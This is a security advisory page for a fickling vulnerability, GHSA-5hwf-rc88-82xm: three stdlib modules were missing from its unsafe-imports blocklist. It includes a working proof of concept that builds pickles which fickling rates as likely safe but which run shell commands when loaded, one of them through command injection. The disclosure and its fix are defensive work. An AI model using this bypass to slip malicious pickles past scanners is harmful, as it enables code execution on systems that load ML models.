Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

GHSA-5hwf-rc88-82xm fickling

Fix: trailofbits/fickling@ffac347

GHSA-5hwf-rc88-82xm is a remote code execution vulnerability in fickling. A fix is available for fickling — see the affected versions and patch details below.

Fickling missing RCE-capable modules in UNSAFE_IMPORTS

Published
Mar 4, 2026
Updated
Mar 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Mar 4, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍fickling

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

  • fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

ModuleRCE FunctionInternal MechanismImportable On
uuid_get_command_stdout(cmd, *args)subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL)All platforms
_osx_support_read_output(cmdstring)os.system(cmd) via temp fileAll platforms
_osx_support_find_build_tool(toolname)Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname)All platforms
_aix_support_read_cmd_output(cmdstring)os.system(cmd) via temp fileAll platforms

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

  1. NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
  2. UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
  3. OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
  4. UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT

Verified Output

$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

"uuid",
"_osx_support",
"_aix_support",

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

  • Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
  • Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
  • Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
  • fickling source: analysis.py UNSAFE_IMPORTS set

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIficklingall versions0.1.9pip install --upgrade 'fickling==0.1.9'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update fickling to 0.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5hwf-rc88-82xm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-5hwf-rc88-82xm can be triaged on real exposure rather than presence alone.

Tailored to GHSA-5hwf-rc88-82xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Assessment The modules `uuid`, `_osx_support` and `_aix_support` were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b). # Original report ## Summary fickling's `UNSAFE_IMPORTS` blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: `uuid`, `_osx_support`, and `_aix_support`. These modules contain functions that internally call `subprocess.Popen()` or `os.system()` with attacker-controlled arguments. A malicious pickle file importing these modules passes both `UnsafeI
O3 Security · Impact-Aware SCA

Is GHSA-5hwf-rc88-82xm in your dependencies?

O3 Security finds GHSA-5hwf-rc88-82xm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-5hwf-rc88-82xm: fickling RCE | O3 Security